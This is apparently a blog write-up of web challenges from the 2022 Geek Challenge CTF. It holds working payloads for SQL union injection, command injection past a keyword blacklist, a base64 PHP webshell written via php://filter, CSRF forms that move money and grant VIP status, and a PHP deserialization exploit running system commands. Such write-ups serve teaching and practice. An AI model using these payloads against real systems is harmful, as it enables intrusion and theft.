LOADING...

dadada~

loading

2022极客大挑战

2022/11/12 CTF CTF-WP

2022极客大挑战

web-Can Can Need

  • 提示本地访问,添加X-Forwarded-For: 127.0.0.1,发现被过滤了,搜了一下找到一个:Client-Ip: 127.0.0.1
  • 提示不是从 sycsec.com 访问,添加:Referer: sycsec.com
  • 提示浏览器不是Syclover Browser,添加:User-Agent: Syclover Browser
  • 提示邮箱不是 VanZY@Syclover.com ,添加:From: VanZY@Syclover.com,得到flag:SYC{E3sy_Http_hhXD2333}

web-来发个包

  • 输入flag没反应,抓包啥也没有,查看源码发现js被注释,没办法发送请求到后端
  • 手动发送请求,访问 http://120.77.11.65:8101/flag.php ,POST传参:ifffflag=flag
  • 得到flag:SYC{:D_y0u_has_known_how_to_construct_a_requests_by_yourself}

web-L0veSyc

  • 直接看源码,ctrl+f,搜syc,找到flag
  • flag:SYC{We1c0me_t0_Geek_2022!}

web-babyupload

  • 无过滤文件上传,传马,蚁剑链接,结束
  • flag:SYC{welc0me_t0_up10ad_wor1d!}

web-justphp

  • 要求get传入一个SleepTime参数,大于86400*30,小于86400*60
  • 然后sleep((int)$sleeptime);让网页休眠一段时间
  • 直接传10进制肯定要等好久,传16进制:?SleepTime=0x27a088
  • 得到flag:SYC{C@nzik#lik3s_to#sleeP_in_class?*#}

web-ezR_F_I

  • 文件包含,过滤了http://替换为空,双写绕过
  • 后缀添加了一个.html,试了很多办法都不行,突然想起了#貌似可以,试了一下成功了,好耶!
  • 这里注意远程包含的文件不能是.php结尾的,不然会自己服务器执行代码,可以包含txt文件
  • 接下来就是rce基本套路啦,flag:SYC{Th1s_is_RFI_hahaha!}

web-WelcomeSQL

  • 整型注入,?id=1 order by 2,两列
  • ?id=-1 union select 1,2,1,2处都有回显
  • ?id=-1 union select 1,database(),数据库: WelcomeSQL
  • ?id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='WelcomeSQL',表: user_info
  • ?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='WelcomeSQL' and table_name='user_info',列:id,username,secret
  • ?id=-1 union select 1,group_concat(secret) from WelcomeSQL.user_info,字段: vv33l1n,myTh3mee33e,an4erniuniu,P_God,SYC{VV31c0me_T0_5QL1_vv01rd_!}
  • flag:SYC{VV31c0me_T0_5QL1_vv01rd_!}

web-ezrce

  • 两层佛曰解码可以拿到一个提示:#flag或许会在当前目录#,解码网站记一下:佛又曰新佛曰

  • 抄一段源码:

    if (isset($_GET['ip']) && $_GET['ip']) {
        $ip = $_GET['ip'];
       
       if(preg_match("/ls|tee|head|wegt|nl|vi|vim|file|sh|dir|cat|more|less|tar|mv|cp|wegt|php|sort|echo|bash|curl|uniq|rev|\"|\'| |\/|<|>|\\|/i", $ip,$match)) {
            die("hacker!");
        } else{
        system("ping -c 3 $ip");
        }
    }
    
  • 很明显就是要拼接命令执行,但过滤了一堆

  • 传:?ip=;l\s,找到一个may_b3_y0u_can_pr0t3ct.php,直接访问

  • flag:SYC{y0u_n33d_a_g1rfr1nd}

web-jsfind

  • 禁了f12等等,直接view-source:,然后翻js
  • load.js里找到:"js/aaa/aaa/aaa/bbb/bbb/bbb/bbb/bbb/bbb/aaa/aaa/aaa/aaa/aaa/bbb/flag.js",
  • 访问,base64解码,放到控制台运行,拿到flag:SYC{D@y0u_LiKKe_D3code_EnCodE}

web-登录试试

  • 根据提示,用户名是Syclover,提示密码是六位数且774开头,密码会前端md5加密传到后端
  • 顺便学了一下bp爆破md5加密
  • 爆出来密码是774931,md5后的:d7d81423804c8bca99a8cdc6abb50cf1
  • 拿到flag:SYC{xi_huan_4_l}

web-Not_Stay

  • 看代码,包含了一个waf.php,自定义函数生成一个id,拼接到upload后面并创建目录

  • post传入两个参数,对data进行文件头检测,然后拼接$safe_header = '<?php exit();?>';写入文件

  • payload:

    data=GIF89a11PD9waHAgQGV2YWwoJF9QT1NUWydoYW95ZSddKTsgPz4=&filename=php://filter/string.strip_tags|convert.base64-decode/resource=upload/3d5bd829-1a10-012a-4557-4d50601b2e09/1.php
    
  • 蚁剑或者直接rce,拿到flag:SYC{stay_0r_get_0ut_here!}

web-drinktea

  • 打开先注册个账号,但是半小时这号就没了,好过分哦

  • 然后利用CSRF,让管理员给转钱,提交反馈的时候有个验证码,源码:

    <?php
    //真的随机吗?
    $seed = file_get_contents("/seed");
    mt_srand($seed);
    mt_rand();//   == 1567320364
    mt_rand();
    mt_rand();
    mt_rand();
    mt_rand();
    mt_rand();
    $code = md5(mt_rand());
    echo file_get_contents("random.php");
    
  • mt_rand伪随机,反推一下seed,这里要注意php版本不同得到的随机数也不同

  • seed666666,php版本要7.1+,得到code:2bfd7154e1f327a42dae866bac9ecd45

  • 构造一个post请求:

    <form action=http://mc.vveelin.com.cn:8102/trans.php method=POST>
    <input type="text" name="username" value="123" />
    <input type="text" name="money" value="99999999999999" />
    </form>
    <script> document.forms[0].submit(); </script> 
    
  • 放在vps上,反馈里放上链接,就得到了很多钱

  • hint里告诉要买双皮奶,但是点击下单后提示只有VIP可以买,所以要想办法成为VIP

  • 主页源码里找到一个注释:<!-- 管理:mng.php -->,访问,给出了get传参的格式

  • 还是利用CSRF,构造一个get请求:

    <img src=http://mc.vveelin.com.cn:8102/mng.php?name=123&vip=true /> 
    
  • 反馈,然后下单,得到flag

web-easyphp

  • 打开页面啥也没有,源码提示了备份文件,再背个单词吧就:backup file-备份文件

  • 扫目录,可以找到一个index.php.bak,打开,得到了一堆看不懂的代码

  • 要把eval换成echo,得到的东西贴上去再换一次,得到源码:

    <?php
        class BillyHerrington{
            public $a;
            public function __wakeup(){
                $this -> a = "fxxk you ";
            }
            public function __destruct(){
                echo $this -> a."Wow";
            }
        }
        class Baoglady{
            public $b;
            public $c;
            public function __toString(){
                $this -> b -> happy($this -> c);
            }
        }
        class VanDarkholme{
            public $d;
            public function happy($cmd){
                eval($cmd);
            }
        }
        if(isset($_POST['str'])){
            unserialize($_POST['str']);
        }
    
  • 反序列化构造pop链,注意绕过wakeup,exp:

    <?php
        class BillyHerrington{
            public $a;
            public function __construct(){
                $this -> a = new Baoglady();
            }
        }
        class Baoglady{
            public $b;
            public $c;
            public function __construct(){
                $this -> b = new VanDarkholme();
                $this -> c = "system('cat /flagishere');";
            }
        }
        class VanDarkholme{
            public $d;
            public function happy($cmd){
                eval($cmd);
            }
        }
        $t = serialize(new BillyHerrington());
        $tt = str_replace('"BillyHerrington":1:{','"BillyHerrington":6:{',$t);
        echo urlencode($tt);
    
  • 得到flag